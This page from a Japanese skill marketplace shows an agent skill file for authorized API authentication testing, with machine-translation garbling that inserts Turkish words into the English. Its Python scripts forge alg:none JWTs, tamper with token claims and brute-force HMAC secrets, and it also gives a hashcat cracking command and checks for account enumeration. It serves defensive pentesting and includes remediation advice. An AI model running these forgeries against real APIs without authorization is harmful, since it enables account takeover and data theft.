本文へ移動
cccskills
無料GitHub で公開

testing-api-authentication-weaknesses

Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and session token entropy to identify authentication bypasses. Maps to OWASP API2:2023 Broken Authentication. Activates for requests involving API authentication testing, token vali...

インストール方法を見る

含まれるファイル(1)

  • SKILL.md16.4 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Testing Api Authentication Weaknesses

Ne Zaman Kullanılır

  • Assessing REST API authentication mechanisms for bypass vulnerabilities before production Dağıt:ment
  • Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)
  • Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed
  • Testing API key generation, storage, and rotation mechanisms for predictability or leakage
  • Validating session management including token expiration, revocation, and refresh token security

Kullanma: without written authorization. Authentication testing involves attempting to bypass security controls.

Ön Gereksinimler

  • Written authorization specifying target API and authentication mechanisms in scope
  • Valid test credentials for at least two user roles (regular user, admin)
  • Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)
  • Python 3.10+ with requests, PyJWT, and jwt libraries
  • Wordlists for credential testing (SecLists authentication wordlists)
  • API documentation or OpenAPI specification

İş Akışı

Adım 1: Authentication Mechanism Identification

import requests
import json

BASE_URL = "https://target-api.example.com/api/v1"

auth_indicators = {
    "jwt_bearer": False,
    "api_key_header": False,
    "api_key_query": False,
    "basic_auth": False,
    "oauth2": False,
    "session_cookie": False,
    "custom_token": False,
}

resp = requests.get(f"{BASE_URL}/users/me")
print(f"Unauthenticated: {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Endpoint accessible without authentication")

if "WWW-Authenticate" in resp.headers:
    scheme = resp.headers["WWW-Authenticate"]
    print(f"Auth scheme advertised: {scheme}")
    if "Bearer" in scheme:
        auth_indicators["jwt_bearer"] = True
    elif "Basic" in scheme:
        auth_indicators["basic_auth"] = True

login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"username": "testuser@example.com", "password": "TestPass123!"})

if login_resp.status_code == 200:
    login_data = login_resp.json()
    # Check for JWT tokens
    for key in ["token", "access_token", "jwt", "id_token"]:
        if key in login_data:
            token = login_data[key]
            if token.count('.') == 2:
                auth_indicators["jwt_bearer"] = True
                print(f"JWT found in response field: {key}")
    # Check for refresh tokens
    for key in ["refresh_token", "refresh"]:
        if key in login_data:
            print(f"Refresh token found in field: {key}")
    # Check for session cookies
    for cookie in login_resp.cookies:
        print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")
        if "session" in cookie.name.lower():
            auth_indicators["session_cookie"] = True

print(f"\nAuthentication mechanisms Detected: {[k for k,v in auth_indicators.items() if v]}")

Adım 2: Unauthenticated Endpoint Discovery

endpoints = [
    ("GET", "/users"),
    ("GET", "/users/me"),
    ("GET", "/users/1"),
    ("GET", "/admin/users"),
    ("GET", "/admin/settings"),
    ("GET", "/health"),
    ("GET", "/metrics"),
    ("GET", "/debug"),
    ("GET", "/actuator"),
    ("GET", "/actuator/env"),
    ("GET", "/swagger.json"),
    ("GET", "/api-docs"),
    ("GET", "/graphql"),
    ("POST", "/graphql"),
    ("GET", "/config"),
    ("GET", "/internal/status"),
    ("GET", "/.env"),
    ("GET", "/status"),
    ("GET", "/info"),
    ("GET", "/version"),
]

print("Unauthenticated Endpoint Scan:")
for method, path in endpoints:
    try:
        resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
        if resp.status_code not in (401, 403):
            content_preview = resp.text[:100] if resp.text else "empty"
            print(f"  [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")
    except requests.exceptions.RequestException:
        pass

Adım 3: JWT Token Analysis

import base64
import json
import hmac
import hashlib

def decode_jwt_parts(token):
    """Decode JWT header and payload without verification."""
    parts = token.split('.')
    if len(parts) != 3:
        return None, None

    def pad_base64(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
    return header, payload

token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)

print(f"JWT Header: {json.dumps(header, indent=2)}")
print(f"JWT Payload: {json.dumps(payload, indent=2)}")

issues = []

if header.get("alg") == "none":
    issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")
if header.get("alg") in ("HS256", "HS384", "HS512"):
    issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")

if "exp" not in payload:
    issues.append("HIGH: No expiration claim (exp) - token never expires")
else:
    import time
    exp_time = payload["exp"]
    ttl = exp_time - time.time()
    if ttl > 86400:
        issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")

sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
    if field in payload:
        issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")

expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
    issues.append(f"MEDIUM: Missing standard claims: {missing}")

if "kid" in header:
    kid = header["kid"]
    # Test for path traversal in kid
    issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")

for issue in issues:
    print(f"  [{issue.split(':')[0]}] {issue}")

Adım 4: JWT Manipulation Attacks

def forge_none_algorithm(token):
    """Şunu oluştur: token with alg:none to bypass signature verification."""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    header['alg'] = 'none'
    new_header = base64.urlsafe_b64encode(
        json.dumps(header).encode()).decode().rstrip('=')
    # Variations of the none algorithm
    return [
        f"{new_header}.{parts[1]}.",
        f"{new_header}.{parts[1]}.{parts[2]}",
        f"{new_header}.{parts[1]}.e30",
    ]

def forge_payload(token, modifications):
    """Modify payload claims and test if server validates signature."""
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
    payload_data.update(modifications)
    new_payload = base64.urlsafe_b64encode(
        json.dumps(payload_data).encode()).decode().rstrip('=')
    return f"{parts[0]}.{new_payload}.{parts[2]}"

COMMON_JWT_SECRETS = [
    "secret", "password", "123456", "jwt_secret", "supersecret",
    "key", "test", "admin", "changeme", "default",
    "your-256-bit-secret", "my-secret-key", "jwt-secret",
    "s3cr3t", "secret123", "mysecretkey", "apisecret",
]

def brute_force_jwt_secret(token):
    """Try common secrets against HMAC-signed JWTs."""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
        print("Not an HMAC token, skipping brute force")
        return None

    signing_input = f"{parts[0]}.{parts[1]}".encode()
    signature = parts[2]

    hash_func = {
        'HS256': hashlib.sha256,
        'HS384': hashlib.sha384,
        'HS512': hashlib.sha512
    }[header['alg']]

    for secret in COMMON_JWT_SECRETS:
        expected_sig = base64.urlsafe_b64encode(
            hmac.new(secret.encode(), signing_input, hash_func).digest()
        ).decode().rstrip('=')
        if expected_sig == signature:
            print(f"[CRITICAL] JWT secret found: '{secret}'")
            return secret

    print("No common secrets matched - consider using hashcat/john for extended brute force")
    return None

none_tokens = forge_none_algorithm(token)
for none_token in none_tokens:
    resp = requests.get(f"{BASE_URL}/users/me",
                       headers={"Authorization": f"Bearer {none_token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] alg:none bypass successful")

admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
resp = requests.get(f"{BASE_URL}/admin/users",
                   headers={"Authorization": f"Bearer {admin_token}"})
if resp.status_code == 200:
    print("[CRITICAL] JWT claim modification accepted without signature validation")

brute_force_jwt_secret(token)

Adım 5: Token Lifecycle Testing

logout_resp = requests.post(f"{BASE_URL}/auth/logout",
    headers={"Authorization": f"Bearer {token}"})
print(f"Logout: {logout_resp.status_code}")

post_logout_resp = requests.get(f"{BASE_URL}/users/me",
    headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
    print("[HIGH] Token still valid after logout - no server-side revocation")


refresh_token = login_data.get("refresh_token")
if refresh_token:
    # Use refresh token
    refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
        json={"refresh_token": refresh_token})
    new_tokens = refresh_resp.json()

    # Try to reuse the same refresh token (should fail if rotation is implemented)
    reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
        json={"refresh_token": refresh_token})
    if reuse_resp.status_code == 200:
        print("[HIGH] Refresh token reuse allowed - no rotation implemented")

resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
    print("[MEDIUM] Token accepted in query parameter - may leak in logs/referrer")

Adım 6: Password Policy and Credential Testing

weak_passwords = [
    "a",           # Too short
    "password",    # Common password
    "12345678",    # Numeric only
    "abcdefgh",    # Alpha only, no complexity
    "Password1",   # Meets basic complexity but is common
    "",            # Empty
    " ",           # Whitespace
]

for pwd in weak_passwords:
    resp = requests.post(f"{BASE_URL}/auth/register",
        json={"email": f"test_{hash(pwd)%9999}@example.com",
              "password": pwd, "name": "Test User"})
    if resp.status_code in (200, 201):
        print(f"[WEAK POLICY] Password accepted: '{pwd}'")

valid_email = "testuser@example.com"
invalid_email = "nonexistent_user_xyz@example.com"

resp_valid = requests.post(f"{BASE_URL}/auth/login",
    json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
    json={"username": invalid_email, "password": "wrongpassword"})

if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
    print(f"[MEDIUM] Account enumeration possible:")
    print(f"  Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}")
    print(f"  Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}")

Key Concepts

TermDefinition
Broken AuthenticationOWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users
JWT (JSON Web Token)Self-contained token format with header.payload.signature structure, used for stateless API authentication
Token RevocationServer-side mechanism to invalidate tokens before their expiration, critical for logout and password change
Credential StuffingAutomated attack using leaked username/password pairs against authentication endpoints
Account EnumerationDetermining valid usernames through different error messages or response times for valid vs invalid accounts
Refresh Token RotationSecurity practice where each use of a refresh token generates a new one, preventing token reuse attacks

Tools & Systems

  • Burp Suite JWT Editor: Extension for decoding, editing, and re-signing JWT tokens with various attack modes
  • jwt_tool: Python tool for JWT testing with 12+ attack modes including alg:none, key confusion, and JWKS spoofing
  • hashcat: GPU-accelerated password cracker supporting JWT HMAC secret brute-forcing (mode 16500)
  • Hydra: Network login brute-forcer supporting HTTP form-based and API authentication testing
  • Nuclei: Template-based scanner with authentication bypass Tespit templates

Common Scenarios

Scenario: SaaS Platform API Authentication Assessment

Context: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.

Approach:

  1. Authenticate and capture the JWT: algorithm is HS256, expiration is 7 days, payload contains user role
  2. Test alg:none bypass: server rejects the token (secure)
  3. Brute force the HMAC secret: discover the secret is "company-jwt-secret-2023" (found using hashcat with custom wordlist)
  4. Forge a JWT with admin role using the discovered secret: gain admin Erişim: all endpoints
  5. Test token revocation: tokens remain valid after logout and password change (no blacklist)
  6. Test refresh token: refresh token has no expiration and can be reused indefinitely
  7. Bul: that the password reset endpoint returns different messages for valid vs invalid emails
  8. Discover that the /health and /metrics endpoints are accessible without authentication

Pitfalls:

  • Only testing the login endpoint and missing authentication weaknesses in password reset, MFA, and token refresh flows
  • Not checking if the JWT secret is the same across all environments (dev, staging, production)
  • Ignoring the token lifetime: a 7-day JWT with no revocation means a stolen token is valid for a week
  • Not testing for token leakage in server logs, URL parameters, or error messages

Output Format

## Bul:ing: JWT HMAC Secret Brute-Forceable and Token Not Revocable

**ID**: API-AUTH-001
**Severity**: Critical (CVSS 9.1)
**OWASP API**: API2:2023 - Broken Authentication
**Affected Components**:
  - POST /api/v1/auth/login (token issuance)
  - All authenticated endpoints (token validation)
  - POST /api/v1/auth/logout (ineffective)

**Description**:
The API uses HS256-signed JWT tokens with a brute-forceable secret
("company-jwt-secret-2023"). An attacker who discovers this secret can
forge tokens for any user with any role, including admin. Additionally,
tokens are not revocable - logout does not inŞunu doğrula: token server-side,
and the 7-day expiration means stolen tokens remain valid for extended periods.

**Attack Chain**:
1. Capture any valid JWT from authenticated session
2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. Secret recovered in 3 minutes: "company-jwt-secret-2023"
4. Forge admin JWT: modify "role" claim to "admin", re-sign with discovered secret
5. Access admin endpoints: GET /api/v1/admin/users returns all 50,000 user accounts

**Remediation**:
1. Replace HS256 with RS256 using a 2048-bit RSA key pair
2. Use a cryptographically random secret of at least 256 bits if HMAC must be used
3. Implement token blacklisting using Redis for logout and password change events
4. Reduce token TTL to 15 minutes with refresh token rotation
5. Add `iss` and `aud` claims validation to prevent token misuse across services
<!-- ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih Yetkisiz kullanim/kopyalama tespit edilebilir. hash: df9aee40cc91626e -->

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.

日本語の概要は準備中です。原文の説明を表示しています。

MustafaKemal0146/fetih52026年10月11日 更新

MustafaKemal0146 のスキルをすべて見る

このスキルの問題を報告する